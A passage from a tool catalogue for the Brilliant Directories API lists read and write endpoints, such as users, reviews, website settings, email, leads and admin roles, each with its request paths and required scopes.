standard_endpoints. brilliantdirectories_get_api_v2_unsubscribe_list_count (read) — Count Unsubscribed via GET /api/v2/unsubscribe_list/count GET /api/v1/brilliantdirectories/api/v2/unsubscribe_list/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_unsubscribe_list_fields (read) — List the fields of the Unsubscribed model via GET /api/v2/unsubscribe_list/fields GET /api/v1/brilliantdirectories/api/v2/unsubscribe_list/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_unsubscribe_list_get (read) — List Unsubscribed via GET /api/v2/unsubscribe_list/get GET /api/v1/brilliantdirectories/api/v2/unsubscribe_list/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_unsubscribe_list_get_by_id (read) — Read the data of a single Unsubscriber by id via GET /api/v2/unsubscribe_list/get/{id} GET /api/v1/brilliantdirectories/api/v2/unsubscribe_list/get/{id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_user_categories_by_user_id (read) — Get the full category tree assigned to a user via GET /api/v2/user/categories/{user_id} GET /api/v1/brilliantdirectories/api/v2/user/categories/{user_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_user_count (read) — Count Users via GET /api/v2/user/count GET /api/v1/brilliantdirectories/api/v2/user/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_user_fields (read) — List the fields of the Users model via GET /api/v2/user/fields GET /api/v1/brilliantdirectories/api/v2/user/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_user_get (read) — List Users via GET /api/v2/user/get GET /api/v1/brilliantdirectories/api/v2/user/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_user_get_by_user_id (read) — Read the data of a single user based on the user_id via GET /api/v2/user/get/{user_id} GET /api/v1/brilliantdirectories/api/v2/user/get/{user_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_user_invite_log_count (read) — Count User Invite Logs via GET /api/v2/user_invite_log/count GET /api/v1/brilliantdirectories/api/v2/user_invite_log/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_invite_log_fields (read) — List the fields of the User Invite Logs model via GET /api/v2/user_invite_log/fields GET /api/v1/brilliantdirectories/api/v2/user_invite_log/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_invite_log_get (read) — List User Invite Logs via GET /api/v2/user_invite_log/get GET /api/v1/brilliantdirectories/api/v2/user_invite_log/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_invite_log_get_by_invite_id (read) — Read a single user invite log entry by its ID via GET /api/v2/user_invite_log/get/{invite_id} GET /api/v1/brilliantdirectories/api/v2/user_invite_log/get/{invite_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_submitted_forms_count (read) — Count User Submitted Forms via GET /api/v2/user_submitted_forms/count GET /api/v1/brilliantdirectories/api/v2/user_submitted_forms/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_submitted_forms_fields (read) — List the fields of the User Submitted Forms model via GET /api/v2/user_submitted_forms/fields GET /api/v1/brilliantdirectories/api/v2/user_submitted_forms/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_submitted_forms_get (read) — Read user-submitted form entries via GET /api/v2/user_submitted_forms/get GET /api/v1/brilliantdirectories/api/v2/user_submitted_forms/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_submitted_forms_get_by_id (read) — Read a single user submitted form by its ID via GET /api/v2/user_submitted_forms/get/{id} GET /api/v1/brilliantdirectories/api/v2/user_submitted_forms/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_types_count (read) — Count User Types via GET /api/v2/user_types/count GET /api/v1/brilliantdirectories/api/v2/user_types/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_types_fields (read) — List the fields of the User Types model via GET /api/v2/user_types/fields GET /api/v1/brilliantdirectories/api/v2/user_types/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_types_get (read) — List User Types via GET /api/v2/user_types/get GET /api/v1/brilliantdirectories/api/v2/user_types/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_user_types_get_by_type_id (read) — Read a single user type by its ID via GET /api/v2/user_types/get/{type_id} GET /api/v1/brilliantdirectories/api/v2/user_types/get/{type_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_clicks_count (read) — Count Users Clicked Link via GET /api/v2/users_clicks/count GET /api/v1/brilliantdirectories/api/v2/users_clicks/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_clicks_fields (read) — List the fields of the Users Clicked Link model via GET /api/v2/users_clicks/fields GET /api/v1/brilliantdirectories/api/v2/users_clicks/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_clicks_get (read) — List Users Clicked Link via GET /api/v2/users_clicks/get GET /api/v1/brilliantdirectories/api/v2/users_clicks/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_clicks_get_by_click_id (read) — Read the data of a single user clicked link based on the click_id via GET /api/v2/users_clicks/get/{click_id} GET /api/v1/brilliantdirectories/api/v2/users_clicks/get/{click_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_favorite_count (read) — Count User Favorites via GET /api/v2/users_favorite/count GET /api/v1/brilliantdirectories/api/v2/users_favorite/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_favorite_fields (read) — List the fields of the User Favorites model via GET /api/v2/users_favorite/fields GET /api/v1/brilliantdirectories/api/v2/users_favorite/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_favorite_get (read) — List User Favorites via GET /api/v2/users_favorite/get GET /api/v1/brilliantdirectories/api/v2/users_favorite/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_favorite_get_by_id (read) — Read a single user favorite by its ID via GET /api/v2/users_favorite/get/{id} GET /api/v1/brilliantdirectories/api/v2/users_favorite/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_locations_count (read) — Count User Locations via GET /api/v2/users_locations/count GET /api/v1/brilliantdirectories/api/v2/users_locations/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_locations_fields (read) — List the fields of the User Locations model via GET /api/v2/users_locations/fields GET /api/v1/brilliantdirectories/api/v2/users_locations/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_locations_get (read) — Read user location records via GET /api/v2/users_locations/get GET /api/v1/brilliantdirectories/api/v2/users_locations/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_locations_get_by_location_id (read) — Read a single user location by its ID via GET /api/v2/users_locations/get/{location_id} GET /api/v1/brilliantdirectories/api/v2/users_locations/get/{location_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_log_count (read) — Count Users Activity Log via GET /api/v2/users_log/count GET /api/v1/brilliantdirectories/api/v2/users_log/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_log_fields (read) — List the fields of the Users Activity Log model via GET /api/v2/users_log/fields GET /api/v1/brilliantdirectories/api/v2/users_log/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_log_get (read) — List Users Activity Log via GET /api/v2/users_log/get GET /api/v1/brilliantdirectories/api/v2/users_log/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_log_get_by_id (read) — Read a single user activity log entry by its ID via GET /api/v2/users_log/get/{id} GET /api/v1/brilliantdirectories/api/v2/users_log/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_meta_count (read) — Count User Metadata via GET /api/v2/users_meta/count GET /api/v1/brilliantdirectories/api/v2/users_meta/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_meta_fields (read) — List the fields of the User Metadata model via GET /api/v2/users_meta/fields GET /api/v1/brilliantdirectories/api/v2/users_meta/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_meta_get (read) — List User Metadata via GET /api/v2/users_meta/get GET /api/v1/brilliantdirectories/api/v2/users_meta/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_meta_get_by_meta_id (read) — Read a single user metadata entry by its ID via GET /api/v2/users_meta/get/{meta_id} GET /api/v1/brilliantdirectories/api/v2/users_meta/get/{meta_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_photo_count (read) — Count User Photos via GET /api/v2/users_photo/count GET /api/v1/brilliantdirectories/api/v2/users_photo/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_photo_fields (read) — List the fields of the User Photos model via GET /api/v2/users_photo/fields GET /api/v1/brilliantdirectories/api/v2/users_photo/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_photo_get (read) — List User Photos via GET /api/v2/users_photo/get GET /api/v1/brilliantdirectories/api/v2/users_photo/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_photo_get_by_photo_id (read) — Read a single user photo by its ID via GET /api/v2/users_photo/get/{photo_id} GET /api/v1/brilliantdirectories/api/v2/users_photo/get/{photo_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_portfolio_count (read) — Count Album Photos via GET /api/v2/users_portfolio/count GET /api/v1/brilliantdirectories/api/v2/users_portfolio/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_fields (read) — List the fields of the Album Photos model via GET /api/v2/users_portfolio/fields GET /api/v1/brilliantdirectories/api/v2/users_portfolio/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_get (read) — List Album Photos via GET /api/v2/users_portfolio/get GET /api/v1/brilliantdirectories/api/v2/users_portfolio/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_get_by_photo_id (read) — Read the data of a single album image based on the photo_id via GET /api/v2/users_portfolio/get/{photo_id} GET /api/v1/brilliantdirectories/api/v2/users_portfolio/get/{photo_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_groups_count (read) — Count Multi Image Posts via GET /api/v2/users_portfolio_groups/count GET /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_groups_fields (read) — List the fields of the Multi Image Posts model via GET /api/v2/users_portfolio_groups/fields GET /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_groups_get (read) — List Multi Image Posts via GET /api/v2/users_portfolio_groups/get GET /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_groups_get_by_group_id (read) — Read the data of a Multi Image Post based on the group_id via GET /api/v2/users_portfolio_groups/get/{group_id} GET /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/get/{group_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_portfolio_tags_count (read) — Count Users Portfolio Tags via GET /api/v2/users_portfolio_tags/count GET /api/v1/brilliantdirectories/api/v2/users_portfolio_tags/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_portfolio_tags_fields (read) — List the fields of the Users Portfolio Tags model via GET /api/v2/users_portfolio_tags/fields GET /api/v1/brilliantdirectories/api/v2/users_portfolio_tags/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_portfolio_tags_get (read) — Read all portfolio photo tags via GET /api/v2/users_portfolio_tags/get GET /api/v1/brilliantdirectories/api/v2/users_portfolio_tags/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_portfolio_tags_get_by_photo_id (read) — Read a single portfolio tag entry by its ID via GET /api/v2/users_portfolio_tags/get/{photo_id} GET /api/v1/brilliantdirectories/api/v2/users_portfolio_tags/get/{tag_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_reviews_count (read) — Count Users Reviews via GET /api/v2/users_reviews/count GET /api/v1/brilliantdirectories/api/v2/users_reviews/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_reviews_fields (read) — List the fields of the Users Reviews model via GET /api/v2/users_reviews/fields GET /api/v1/brilliantdirectories/api/v2/users_reviews/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_reviews_get (read) — List Users Reviews via GET /api/v2/users_reviews/get GET /api/v1/brilliantdirectories/api/v2/users_reviews/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_reviews_get_by_review_id (read) — Read the data of a Users Reviews based on the review_id via GET /api/v2/users_reviews/get/{review_id} GET /api/v1/brilliantdirectories/api/v2/users_reviews/get/{review_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_users_setting_count (read) — Count User Settings via GET /api/v2/users_setting/count GET /api/v1/brilliantdirectories/api/v2/users_setting/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_setting_fields (read) — List the fields of the User Settings model via GET /api/v2/users_setting/fields GET /api/v1/brilliantdirectories/api/v2/users_setting/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_setting_get (read) — List User Settings via GET /api/v2/users_setting/get GET /api/v1/brilliantdirectories/api/v2/users_setting/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_users_setting_get_by_setting_id (read) — Read a single user setting by its ID via GET /api/v2/users_setting/get/{setting_id} GET /api/v1/brilliantdirectories/api/v2/users_setting/get/{setting_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_contacts_count (read) — Count Website Contacts via GET /api/v2/website_contacts/count GET /api/v1/brilliantdirectories/api/v2/website_contacts/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_contacts_fields (read) — List the fields of the Website Contacts model via GET /api/v2/website_contacts/fields GET /api/v1/brilliantdirectories/api/v2/website_contacts/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_contacts_get (read) — List Website Contacts via GET /api/v2/website_contacts/get GET /api/v1/brilliantdirectories/api/v2/website_contacts/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_contacts_get_by_id (read) — Read a single website contact submission by its ID via GET /api/v2/website_contacts/get/{ID} GET /api/v1/brilliantdirectories/api/v2/website_contacts/get/{ID}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_design_settings_count (read) — Count Design Settings via GET /api/v2/website_design_settings/count GET /api/v1/brilliantdirectories/api/v2/website_design_settings/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_design_settings_fields (read) — List the fields of the Design Settings model via GET /api/v2/website_design_settings/fields GET /api/v1/brilliantdirectories/api/v2/website_design_settings/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_design_settings_get (read) — List Design Settings via GET /api/v2/website_design_settings/get GET /api/v1/brilliantdirectories/api/v2/website_design_settings/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_design_settings_get_by_setting_id (read) — Read a single design setting by its ID via GET /api/v2/website_design_settings/get/{setting_id} GET /api/v1/brilliantdirectories/api/v2/website_design_settings/get/{setting_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_count (read) — Count Website Labels via GET /api/v2/website_labels/count GET /api/v1/brilliantdirectories/api/v2/website_labels/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_fields (read) — List the fields of the Website Labels model via GET /api/v2/website_labels/fields GET /api/v1/brilliantdirectories/api/v2/website_labels/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_get (read) — List Website Labels via GET /api/v2/website_labels/get GET /api/v1/brilliantdirectories/api/v2/website_labels/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_get_by_id (read) — Read a single website label by its ID via GET /api/v2/website_labels/get/{id} GET /api/v1/brilliantdirectories/api/v2/website_labels/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_translation_count (read) — Count Label Translations via GET /api/v2/website_labels_translation/count GET /api/v1/brilliantdirectories/api/v2/website_labels_translation/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_translation_fields (read) — List the fields of the Label Translations model via GET /api/v2/website_labels_translation/fields GET /api/v1/brilliantdirectories/api/v2/website_labels_translation/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_translation_get (read) — List Label Translations via GET /api/v2/website_labels_translation/get GET /api/v1/brilliantdirectories/api/v2/website_labels_translation/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_labels_translation_get_by_id (read) — Read a single label translation by its ID via GET /api/v2/website_labels_translation/get/{id} GET /api/v1/brilliantdirectories/api/v2/website_labels_translation/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_notifications_count (read) — Count Website Notifications via GET /api/v2/website_notifications/count GET /api/v1/brilliantdirectories/api/v2/website_notifications/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_notifications_fields (read) — List the fields of the Website Notifications model via GET /api/v2/website_notifications/fields GET /api/v1/brilliantdirectories/api/v2/website_notifications/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_notifications_get (read) — List Website Notifications via GET /api/v2/website_notifications/get GET /api/v1/brilliantdirectories/api/v2/website_notifications/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_notifications_get_by_notification_id (read) — Read a single website notification by its ID via GET /api/v2/website_notifications/get/{notification_id} GET /api/v1/brilliantdirectories/api/v2/website_notifications/get/{notification_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_settings_count (read) — Count Website Settings via GET /api/v2/website_settings/count GET /api/v1/brilliantdirectories/api/v2/website_settings/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_settings_fields (read) — List the fields of the Website Settings model via GET /api/v2/website_settings/fields GET /api/v1/brilliantdirectories/api/v2/website_settings/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_settings_get (read) — List Website Settings via GET /api/v2/website_settings/get GET /api/v1/brilliantdirectories/api/v2/website_settings/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_website_settings_get_by_id (read) — Read a single website setting by its ID via GET /api/v2/website_settings/get/{id} GET /api/v1/brilliantdirectories/api/v2/website_settings/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_admin_role_permissions_create (write) — Add a new admin role permission to the database via POST /api/v2/admin_role_permissions/create POST /api/v1/brilliantdirectories/api/v2/admin_role_permissions/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_admin_role_plugins_permissions_create (write) — Add a new admin role plugin permission to the database via POST /api/v2/admin_role_plugins_permissions/create POST /api/v1/brilliantdirectories/api/v2/admin_role_plugins_permissions/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_admin_roles_create (write) — Add a new admin role to the database via POST /api/v2/admin_roles/create POST /api/v1/brilliantdirectories/api/v2/admin_roles/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_bd_api_keys_create (write) — Add a new API key to the database via POST /api/v2/bd_api_keys/create POST /api/v1/brilliantdirectories/api/v2/bd_api_keys/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_bd_history_create (write) — Add a backup history record to the per-site backups database via POST /api/v2/bd_history/create POST /api/v1/brilliantdirectories/api/v2/bd_history/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_bd_webhooks_create (write) — Add a new webhook to the database via POST /api/v2/bd_webhooks/create POST /api/v1/brilliantdirectories/api/v2/bd_webhooks/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_business_data_api_task_create (write) — Add a new business data task to the database via POST /api/v2/business_data_api_task/create POST /api/v1/brilliantdirectories/api/v2/business_data_api_task/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_business_data_logs_create (write) — Add a new business data log to the database via POST /api/v2/business_data_logs/create POST /api/v1/brilliantdirectories/api/v2/business_data_logs/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_category_group_create (write) — Add a new category group to the database via POST /api/v2/category_group/create POST /api/v1/brilliantdirectories/api/v2/category_group/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_chat_message_items_create (write) — Add a new chat message to the database (optionally fires email notification + webhook) via POST /api/v2/chat_message_items/create POST /api/v1/brilliantdirectories/api/v2/chat_message_items/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_chat_message_threads_create (write) — Add a new chat thread to the database (optionally fires email notification + webhook) via POST /api/v2/chat_message_threads/create POST /api/v1/brilliantdirectories/api/v2/chat_message_threads/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_comments_create (write) — Add a new comment to the database via POST /api/v2/comments/create POST /api/v1/brilliantdirectories/api/v2/comments/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_contacts_bridge_create (write) — Add a new contact link to the database via POST /api/v2/contacts_bridge/create POST /api/v1/brilliantdirectories/api/v2/contacts_bridge/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_contacts_create (write) — Add a new contact to the database via POST /api/v2/contacts/create POST /api/v1/brilliantdirectories/api/v2/contacts/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_data_categories_create (write) — Add a post type to the database via POST /api/v2/data_categories/create POST /api/v1/brilliantdirectories/api/v2/data_categories/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_data_categories_custom_fields (write) — Get all fields available for the post type via POST /api/v2/data_categories/custom_fields POST /api/v1/brilliantdirectories/api/v2/data_categories/custom_fields. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_data_flow_actions_create (write) — Add a new data flow action to the database via POST /api/v2/data_flow_actions/create POST /api/v1/brilliantdirectories/api/v2/data_flow_actions/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_data_flows_create (write) — Add a new data flow to the database via POST /api/v2/data_flows/create POST /api/v1/brilliantdirectories/api/v2/data_flows/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_data_posts_create (write) — Add a new Single Image Post to the database via POST /api/v2/data_posts/create POST /api/v1/brilliantdirectories/api/v2/data_posts/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_data_posts_search (write) — Search Single Image Posts and their related data from the database via POST /api/v2/data_posts/search POST /api/v1/brilliantdirectories/api/v2/data_posts/search. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_data_types_create (write) — Add a new data type to the database via POST /api/v2/data_types/create POST /api/v1/brilliantdirectories/api/v2/data_types/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_data_widgets_create (write) — Add a new widget to the database via POST /api/v2/data_widgets/create POST /api/v1/brilliantdirectories/api/v2/data_widgets/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_data_widgets_rel_create (write) — Add a new widget placement to the database via POST /api/v2/data_widgets_rel/create POST /api/v1/brilliantdirectories/api/v2/data_widgets_rel/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_data_widgets_render (write) — Render widget content of specific widget via POST /api/v2/data_widgets/render POST /api/v1/brilliantdirectories/api/v2/data_widgets/render. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_email_auto_log_create (write) — Add a new email auto log entry to the database via POST /api/v2/email_auto_log/create POST /api/v1/brilliantdirectories/api/v2/email_auto_log/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_auto_sent_create (write) — Add a new email auto sent record to the database via POST /api/v2/email_auto_sent/create POST /api/v1/brilliantdirectories/api/v2/email_auto_sent/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_automation_settings_create (write) — Add a new email automation rule to the database via POST /api/v2/email_automation_settings/create POST /api/v1/brilliantdirectories/api/v2/email_automation_settings/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_list_create (write) — Add a new email list subscriber to the database via POST /api/v2/email_list/create POST /api/v1/brilliantdirectories/api/v2/email_list/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_log_create (write) — Add a new email log entry to the database via POST /api/v2/email_log/create POST /api/v1/brilliantdirectories/api/v2/email_log/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_outbox_create (write) — Add a new email to the outbox queue via POST /api/v2/email_outbox/create POST /api/v1/brilliantdirectories/api/v2/email_outbox/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_outbox_log_create (write) — Add a new email outbox log entry to the database via POST /api/v2/email_outbox_log/create POST /api/v1/brilliantdirectories/api/v2/email_outbox_log/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_schedule_create (write) — Add a new email campaign to the database via POST /api/v2/email_schedule/create POST /api/v1/brilliantdirectories/api/v2/email_schedule/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_email_templates_create (write) — Add a new email template to the database via POST /api/v2/email_templates/create POST /api/v1/brilliantdirectories/api/v2/email_templates/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_form_create (write) — Add a new form to the database via POST /api/v2/form/create POST /api/v1/brilliantdirectories/api/v2/form/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_form_fields_create (write) — Add a new form field to the database via POST /api/v2/form_fields/create POST /api/v1/brilliantdirectories/api/v2/form_fields/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_form_inquiries_create (write) — Add a new form inquiry to the database via POST /api/v2/form_inquiries/create POST /api/v1/brilliantdirectories/api/v2/form_inquiries/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_image_settings_create (write) — Add a new image setting to the database via POST /api/v2/image_settings/create POST /api/v1/brilliantdirectories/api/v2/image_settings/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_installer_groups_create (write) — Add a new installer group to the database via POST /api/v2/installer_groups/create POST /api/v1/brilliantdirectories/api/v2/installer_groups/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_installer_steps_create (write) — Add a new installer step to the database via POST /api/v2/installer_steps/create POST /api/v1/brilliantdirectories/api/v2/installer_steps/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_lead_matches_create (write) — Add a new lead match to the database via POST /api/v2/lead_matches/create POST /api/v1/brilliantdirectories/api/v2/lead_matches/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_leads_create (write) — Add a new lead to the database via POST /api/v2/leads/create POST /api/v1/brilliantdirectories/api/v2/leads/create. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_leads_match (write) — Match batch of emails or ids into a specific lead via POST /api/v2/leads/match POST /api/v1/brilliantdirectories/api/v2/leads/match. Scopes: standard_endpoints. brilliantdirectories_post_api_v2_list_countries_create (write) — Add a new country to the database via POST /api/v2/list_countries/create POST /api/v1/brilliantdirectories/api/v2/list_countries/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_list_professions_create (write) — Create a new top-level category via POST /api/v2/list_professions/create POST /api/v1/brilliantdirectories/api/v2/list_professions/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_list_professions_import (write) — Bulk import a full category tree in one call via POST /api/v2/list_professions/import POST /api/v1/brilliantdirectories/api/v2/list_professions/import. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_list_seo_create (write) — Add a new page to the database via POST /api/v2/list_seo/create POST /api/v1/brilliantdirectories/api/v2/list_seo/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_list_seo_template_create (write) — Add a new SEO template to the database via POST /api/v2/list_seo_template/create POST /api/v1/brilliantdirectories/api/v2/list_seo_template/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_list_services_create (write) — Create a new subcategory or sub-subcategory via POST /api/v2/list_services/create POST /api/v1/brilliantdirectories/api/v2/list_services/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_list_states_create (write) — Add a new state/region to the database via POST /api/v2/list_states/create POST /api/v1/brilliantdirectories/api/v2/list_states/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_location_cities_create (write) — Add a new location city to the database via POST /api/v2/location_cities/create POST /api/v1/brilliantdirectories/api/v2/location_cities/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_location_states_create (write) — Add a new location state mapping to the database via POST /api/v2/location_states/create POST /api/v1/brilliantdirectories/api/v2/location_states/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_marketing_offers_create (write) — Add a new marketing offer to the database via POST /api/v2/marketing_offers/create POST /api/v1/brilliantdirectories/api/v2/marketing_offers/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_menu_items_create (write) — Add a new menu item to the database via POST /api/v2/menu_items/create POST /api/v1/brilliantdirectories/api/v2/menu_items/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_menus_create (write) — Add a new menu to the database via POST /api/v2/menus/create POST /api/v1/brilliantdirectories/api/v2/menus/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_messages_create (write) — Add a new message to the database via POST /api/v2/messages/create POST /api/v1/brilliantdirectories/api/v2/messages/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_notes_create (write) — Add a new note to the database via POST /api/v2/notes/create POST /api/v1/brilliantdirectories/api/v2/notes/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_password_retrieval_sessions_create (write) — Add a new password retrieval session to the database via POST /api/v2/password_retrieval_sessions/create POST /api/v1/brilliantdirectories/api/v2/password_retrieval_sessions/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_plugin_records_create (write) — Add a new plugin record to the database via POST /api/v2/plugin_records/create POST /api/v1/brilliantdirectories/api/v2/plugin_records/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_post_transactions_create (write) — Add a new post transaction to the database via POST /api/v2/post_transactions/create POST /api/v1/brilliantdirectories/api/v2/post_transactions/create. Scopes: advanced_endpoints. brilliantdirectories_post_api_v2_redirect_301_create (write) — Add a new redirect to the database via POST /api/v2/redirect_301/create POST /api/v1/brilliantdirectories/api/v2/redirect_301/create. Scopes: 